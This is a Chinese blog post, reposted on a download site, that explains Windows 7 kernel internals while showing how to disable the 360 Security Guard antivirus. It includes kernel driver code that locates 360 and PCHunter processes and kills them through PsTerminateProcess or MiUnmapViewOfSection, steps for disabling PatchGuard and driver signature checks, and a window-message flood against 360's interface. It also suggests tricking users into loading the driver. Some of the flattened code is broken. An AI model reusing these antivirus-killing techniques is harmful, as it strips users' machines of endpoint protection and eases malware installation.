站内公告: |
时间:2019-02-21 点击:0 次 来源:管理员 作者:小乐 - 小 + 大
继去年笔者在博客上发表几篇文章之后,这段时间除了繁忙的日常事务之外,又阅读了诸多高手们的文章。随着学习研究的深入,更加深切的体会到自己在技术方面的匮乏。于是,我便再次以360安全卫士(在x86/x64的Windows7系统上)为研究对象,将自己最近一个时期学习的知识融入其中,以不同的几种方式来对抗360,写出来和大家分享一下。笔者的目的不在于说用几种方式杀掉360的进程,而是在于和广大读者一起讨论Windows内核知识,与大家共同进步。 恢复InlineHookKiFastCallEntry法 在之前博客上,笔者分析了恢复InlineHookKiFastCallEntry来对抗腾讯电脑管家、360安全卫士的方法,就程序本身来说,还是比较好理解的,并且也已提供给大家,在这里便不再赘述了。但当时只是对程序做出了分析,并没有讨论为什么这样做可以结束360进程,这里顺便说一下。 对于常见的Ring3层的病毒,可以使用OpenProcess与TerminateProcess的组合来干掉病毒进程,但是想要这么干掉360的进程,显然是行不通的。这里以TerminateProcess为例,分析一下它的执行过程。此API实际上是位于kernel32.dll模块中,然后又进一步调用ntdll.dll模块中的NtTerminateProcess函数,该函数是一个存根函数,它通过ntdll.dll中的KiFastSystemCall来执行SYSENTER指令,然后进入了Ring0层,通过系统服务号来查找调用原生的(nt!)NtTerminateProcess例程,从而结束指定进程。 然而,现实情况是,360安全卫士做了一个InlineHookKiFastCallEntry,劫持了正常的系统调用,当360的NtTerminateProcess发现结束的是自己的进程时,必然会拒绝。这种方法与传统的HookSSDT相比,更具有隐蔽性,所以我之前说更不容易发现360Hook了哪些函数。 另一个好处是,让一些试图恢复SSDT来攻击安全软件的Rootkit失去了作用。如图1所示,用PCHunter发现的“从int2e/sysenter到ssdt表路径上检测到钩子”。可惜的是,钩子并无保护,被恢复之后,我们便可以“任性”的在任务管理器中结束所有360的进程,这正是恢复系统原始调用的最好诠释。图2形象的说明了这个过程。
进程线程法 先来看一张Windows内核空间概念图,如图3所示。这里插一段题外话,相信很多人在初学时都和我一样,有这样的困惑:为什么同样名字的函数,如TerminateProcess,会有Zw和Nt两个版本呢?让我们直接反汇编来解答这个问题。
kduZwTerminateProcess nt!ZwTerminateProcess: 83e4e43cb872010000 83e4e4418d542404 83e4e4459c mov lea eax,172h edx,[esp+4] pushfd push call 83e4e4466a08 8 83e4e448e8a10b0000 83e4e44dc20800 nt!KiSystemService(83e4efee) 8 ret kduNtTerminateProcessl80 nt!NtTerminateProcess: 8406d9bf8bff mov edi,edi 8406d9c155 push mov sub ebp 8406d9c28bec ebp,esp 8406d9c483ec10 8406d9c753 esp,10h push push mov mov mov ebx 8406d9c856 esi 8406d9c9648b3524010000 8406d9d08b5e50 8406d9d38a863a010000 esi,dwordptrfs:[124h] ebx,dwordptr[esi+50h] al,byteptr[esi+13Ah] …… ……
总的来说,Zw*()是将系统服务号传递给eax,经过一系列操作,通过KiSystemService例程来实现系统调用,这是合乎微软规定的一个过程;而Nt*()则没有这个过程,是直接移到系统调用,并实现了具体的功能,更详细来说,NtTerminateProcess调用了PspTerminateThreadByPointer等更加底层的API。 我们可以看到,在系统调用以下,有许多的管理器,其中包含大量的实现关键功能的API,尽管它们很多都是未文档化的,但我们只要使用合理,便可以绕过360的Hook,在不恢复Hook的情况下杀掉360进程。 既然是杀掉进程,我们自然将目光放到Ps*()例程中。刚才我们提到,直接调用NtTerminateProcess肯定是不可行的,那么首选的函数应该是PsTerminateProcess,其定义如下,非常的简单:PsTerminateProcess(INPEPROCESSProcess,INNTSTATUSExitStatus); 在XP系统中,PsTerminateProcess直接调用PspTerminateProcess去实现具体功能;而在Windows7系统中没有发现PspTerminateProcess函数,而是直接在PsTerminateProcess中实现了具体的功能,调用了PspTerminateAllThreads,顾名思义,结束进程的方法正是杀掉所有线程。为获得PsTerminateProcess第一个参数,需进行以下讨论。 在图3中我们看到的Hal(硬件抽象层)位于硬件之上,作用是屏蔽硬件的差别;Hal之上即为内核模块ntoskrnl,它的上层部分称为执行体,负责管理与策略相关的功能,进程与线程在执行体上的数据结构是EPROCESS与ETHREAD;下层部分称为微内核,主要实现了操作系统的核心机制,进程与线程在微内核上的数据结构是KPROCESS与KTHREAD。查看一下Win7系统上的EPROCESS结构体中对我们有用的部分:
kddtnt!_EPROCESS +0x000Pcb :_KPROCESS//指向KPROCESS …… …… +0x0b4UniqueProcessId:Ptr32Void//进程ID +0x0b8ActiveProcessLinks:_LIST_ENTRY//进程链表 …… …… +0x16cImageFileName +0x188ThreadListHead :[15]UChar//进程名 :_LIST_ENTRY//线程链表
这四个结构体都是十分复杂的,大家可以自己去调试,这里我们的目的是通过360的进程名获得PID,程序可以是这样的:
NTSTATUSGet360pid(UCHAR*uname) { PEPROCESSpEprocess=NULL; PEPROCESSpFirstEprocess=NULL; ULONGulProcessName=0; ULONGulProcessId=0; intobjectpid; pEprocess=PsGetCurrentProcess();//获得EPROCESS pFirstEprocess=pEprocess; while(pEprocess!=NULL) { ulProcessName=(ULONG)pEprocess+0x16c;//获得进程名 ulProcessId=*(ULONG*)((ULONG)pEprocess+0xb4);//获得PID if(strstr(ulProcessName,uname))//匹配360进程名 { } objectpid=ulProcessId;//获得360PID pEprocess=(ULONG)(*(ULONG*)((ULONG)pEprocess+0xb8)-0xb8);//遍历进程链表 if(pEprocess==pFirstEprocess||(*(LONG*)((LONG)pEprocess+0xb4))<0) { break; } } returnobjectpid; } NTSTATUSKillByPid(INULONGpid) { NTSTATUSst=STATUS_SUCCESS; PEPROCESSeprocess=NULL; NTSTATUSExitStatus=0; st=PsLookupProcessByProcessId(pid,eprocess); ObDereferenceObject(eprocess); st=PsTerminateProcess(eprocess,ExitStatus); returnst; } 在DriverEntry中调用: KillByPid(Get360pid(360Tray)); KillByPid(Get360pid(360sd)); KillByPid(Get360pid(ZhuDongFangYu)); KillByPid(Get360pid(360rp)); KillByPid(Get360pid(PCHunter));
这里不得不提到Windows句柄与对象机制。有一个被称为Cid句柄表的概念,Cid句柄表没有加入到系统的句柄表链表中,它保存了进程与线程的对象地址,我们知道的PsLookupProcessByProcessId、PsLookupThreadByThreadId等函数正是利用Cid句柄表这一机制,通过传入的PID来获得相应对象的地址,而对象又有一个引用计数的问题,刚才打开了一个对象,然后就要调用ObDereferenceObject减去这个计数。 为什么要尝试一下PCHunter呢?图4为360的InlineHookKiFastCallEntry与PCHunter的InlineHookNtTerminateProcess、InlineHookNtTerminateThread。PCHunter采用了InlineHookNtTerminateProcess与NtTerminateThread保护进程,看来PsTerminateProcess也可以躲过这个钩子。但对360这个装机量巨大的安全软件来说,在系统调用以下,似乎未做任何处 理,被这样一个简单程序结束进程,这种情形还是有些欠妥的,由于加载驱动后瞬间结束进程,故无法截图验证。但笔者希望我们不要到这里浅尝辄止,下面和大家继续探索。
图4 由于PspTerminateAllThreads是基于PspTerminateThreadByPointer实现的,我们重点看PspTerminateThreadByPointer的功能。
kduPspTerminateThreadByPointerl80nt!PspTerminateThreadByPointer://是当前线程 84066040ff750c 84066043e842a00100 //不是当前线程 84066090687b400984 84066095685e400984 8406609a682f400984 8406609f53 push call dwordptr[ebp+0Ch] nt!PspExitThread(8408008a) push offsetnt!PspExitNormalApc(8409407b) push push push push push call offsetnt!PspExitApcRundown(8409405e) offsetnt!PsExitSpecialApc(8409402f) ebx 840660a0ff7508 840660a356 dwordptr[ebp+8] esi 840660a4e84a0de6ff 840660a96a02 840660ab53 nt!KeInitializeApc(83ec6df3)//初始化Apc push push push push call 2 ebx 840660ac56 esi 840660ad56 esi 840660aee86367e6ff …… nt!KeInsertQueueApc(83ecc816)//插入Apc ……
PspTerminateThreadByPointer先判断如果是当前线程,调用PspExitThread结束线程;如果不是当前线程,则由KeInsertQueueApc插入Apc,插入的是PsExitSpecialApc、PspExitApcRundown、PspExitNormalApc,最后仍然调用PspExitThread达到目的。其后仍然是一个非常复杂的过程,简要的说,PspExitThread要处理该线程相关的跨线程引用、线程定时器、Apc、清除地址空间等等工作,再调用KeTerminateThread函数,涉及了线程调度的概念,再调用KiSwapThread函数,KiSwapThread交出线程控制权,并且再也不会得到控制权,因此,KeTerminateThread永不返回,PspExitThread也不返回,线程调度器再也不会调用这个线程了,可以说自此这一线程真正终止了。 还记得以前看黑防高手们的文章,往往只说一句“插Apc”,然后就是一堆代码,让当时的我不明就里,所以我希望搞清楚为何插入Apc能结束线程。 要从中断说起,中断描述符表(IDT)是将每个中断与处理该中断的服务例程关联了起来,它们主要是处理与硬件相关的内容。此外,Windows定义了一个中断请求级别(IRQL), 如表1所示。
表1 IRQL有0-31个级别,数值越大,优先级越高。普通线程运行在PASSIVE_LEVEL级别,APC_LEVEL仅比PASSIVE_LEVEL级别高,因此,插入Apc可以结束掉线程。运行在DISPATCH_LEVEL的代码,有可能进行线程调度(比如KiSwapThread),也有可能是Dpc(比如定时器,以前讨论过监视Hook是否被恢复)。3-31涉及硬件中断,不再讨论。 另一个实际应用是,在Hook中使用KeRaiseIrqlToDpcLevel()将IRQL提升到DISPATCH_LEVEL可以防止被其他线程打断造成BSoD,但只适用于单核CPU;在多核CPU上,可以使用自旋锁,使其他处理器总是在“空转”,检查自旋锁的状态,直到该锁被释放。自旋锁总是运行在DISPATCH_LEVEL或更高的级别。伪代码如下:
KeInitializeSpinLock(spinlock);//初始化自旋锁 KeAcquireSpinLock(spinlock,oldirql);//获得自旋锁 WPOFF();//关闭写保护 Hook(); WPON();//打开写保护 KeReleaseSpinLock(spinlock,oldirql);//释放自旋锁
总之,要想实现自己的MyPsTerminateProcess,应当利用PsLookupProcessByProcessId获得的进程eprocess,遍历进程所有线程(可以用PsGetNextProcessThread,也可以用上面提到的ThreadListHead),把每个线程都用PspTerminateThreadByPointer来结束掉。要想实现自己的MyPspTerminateThreadByPointer,就应该对每个线程都插入一个Apc,从而结束掉所有线程,也就达到了杀掉进程的目的。 内存法 创建新进程时一个很重要的工作就是创建地址空间,PspCreateProcess先调用MmCreateProcessAddressSpace创建进程地址空间,再调用MmInitializeProcessAddressSpace来初始化地址空间,我们需要关注的一个重要过程是在新进程中映射内存区对象。 MmCreateSection函数可以创建一个内存区对象,但为了可以使用该对象,必须将其映射视图,在系统服务例程中由NtMapViewOfSection来执行,在内存管理器Mm*()中对应的例程是MmMapViewOfSection。相反的,有一个解除映射的过程,NtUnMapViewOfSection/MmUnMapViewOfSection皆调用MiUnMapViewOfSection来实现具体的功能。这里,假设我们可以解除某进程的内存区对象映射视图,那么就可以达到干掉进程的目的。请看代码:
NTSTATUSKillByPid(intpid) { NTSTATUSst; PVOIDp=(PVOID)0x400000; PEPROCESSeprocess=NULL; st=PsLookupProcessByProcessId(pid,eprocess); ObDereferenceObject(eprocess); st=MiUnmapViewOfSection(eprocess,p,0); returnst; }
与上面的代码相同,在DriverEntry中调用KillByPid(),其中调用Get360pid()来获得360进程ID,只是在KillByPid()中换成了MiUnmapViewOfSection来达到目的。其中,PsTerminateProcess与MiUnmapViewOfSection皆未导出,我们可以学习黑防高手的搜索特征码的方法,但我们这里只研究Windows7系统,为了实用与简化,在程序中都是用“已导出API+偏移”的方法,区别于直接硬编码,这种方法虽然技术含量不高,但可以适用于所有运行着Windows7系统的电脑。还有,在列出的程序中省掉了一些非必需的步骤,详见给出的代码。图5为运行本程序后360杀毒的报错。
关于Windows7x64上的360安全卫士 提到Win64的内核,PatchGuard是一个绕不开的话题。大约自从WindowsVista(64位)系统开始,为了保证系统的安全性,引入了这一机制,使得我们自己编写的驱动不能再顺利的加载在内核当中。即使像360这样的安全公司花钱向微软购买了签名,其编写的驱动也不能再像x86系统那样进行内核Hook了。 但是这一切似乎难不倒黑客高手,援引国外高手的破解思路,突破PatchGuard需要修改winload.exe与ntoskrnl.exe,具体的不细说了,总体思路就是把有关数字签名校验机制与PatchGuard的相关部分jmp或nop掉。我们这里直接使用黑防提供的相关工具,先运行patch.exe,再运行“一键破解”程序,然后重启并选择废除数字签名校验机制与PatchGuard的那个选项,进入系统后便可以加载我们的驱动了。拿出刚才说过的PsTerminateProcess杀360的程序,做如下修改: 1.重新计算PsTerminateProcess的地址。 2.在Windows7x64上的EPROCESS如下,在对应的位置要做修改。
kddtnt!_EPROCESS +0x000Pcb :_KPROCESS …… …… +0x180UniqueProcessId:Ptr64Void +0x188ActiveProcessLinks:_LIST_ENTRY …… …… +0x2e0ImageFileName :[15]UChar
3.这是最重要同时也是最容易被忽略的一点,这里是64位系统,必须要将所有的ULONG改为ULONG64才可以。 修改后的程序如期的在Windows7x64上杀掉了360的相关进程。 但是在实际应用当中,上述过程略显繁琐了。由于没有HookShadowSSDT,我们可以尝试窗口攻击,代码如下:
intAPIENTRYWinMain(HINSTANCEhInstance, HINSTANCEhPrevInstance, LPSTRlpCmdLine, intnCmdShow) { while(1)//持续发送关闭消息,消耗系统大量资源 { EnumWindows(EnumWindowsProc,0); }//枚举所有窗口 return0; } BOOLCALLBACKEnumWindowsProc(HWNDhwnd,LPARAMlParam) { charwtitle[512]; GetWindowText(hwnd,wtitle,sizeof(wtitle)); if(strstr(wtitle,360杀毒)||strstr(wtitle,360安全卫士))//查找360窗口,发送关 闭消息 { ::SendMessage(hwnd,WM_CLOSE,0,0); ::SendMessage(hwnd,WM_DESTROY,0,0); ::SendMessage(hwnd,WM_QUIT,0,0); } return1; }
以管理员身份运行此程序,360安全卫士窗口闪退,360杀毒的窗口如图6所示,它们均失去了与用户交互的能力。 最后再提下360的进程保护机制,用PCHunter查看内核情况,发现360并没有像32位那样HookSSDT或是InlineHookKiFastCallEntry来保护进程,而是做了几个ObjectHook,如图7所示,当我们用PCHunter恢复这些钩子后,便可以在任务管理器中轻松结束360进程了。
结语 这里要感谢各位高手艰苦卓绝的探索;感谢潘爱民先生的《Windows内核原理与实现》、BillBlunden先生的《Rootkit:系统灰色地带的潜伏者》这两本专著。本文更加侧重于技术原理上的讨论,向广大读者普及信息安全知识,任何人不得使用本文提供的程序危害互联网。 笔者作为非计算机相关专业毕业的人员,凭借对信息安全事业的热爱才孜孜不倦的学习研究,虽然如此,笔者仍清醒的意识到自己与高手们还有很大差距。由于本文涉及的内容艰深庞杂,所以难免有不准确甚至是错误的地方,敬请批评指正。在笔者看来,360的内核高手们绝非没有认识到在系统调用之下还有很大的空间,他们应该是认为已经严密封锁了驱动入口,很难再加载驱动;但我们抛开从技术层面上绕过驱动防火墙不谈,使用社会工程学知识来骗过用户还不是那么困难的,因为绝大多数用户并不知晓驱动为何物,社工学也正是对准了信息系统中最薄弱的环节——人。所以说,没有绝对的安全,但我们应该努力做到最好。 2015年1月21日,微软召开了主题为“TheNextChapter”的Windows10发布会,展示了最新的Windows10系统的相关功能,并宣布所有Windows7、Windows8、WindowsPhone8.1用户可以在一年之内免费升级至Windows10,这让我们看到了微软变革的决心。 笔者完全有理由相信Windows10会取得巨大的成功,延续当今唯一一个兼具生产力与创意的操作系统平台的辉煌。在未来,希望我们能与Windows10一起,不畏艰险,迎难而上,只为一睹山巅之美 |
上一篇:经典老歌超好听合集打包分享
下一篇:网易云弟弟全音乐免费2.0破解版
乐享资源网来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,乐享资源网一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除
投稿邮箱:1372234654@qq.com 广告位购买QQ:1372234654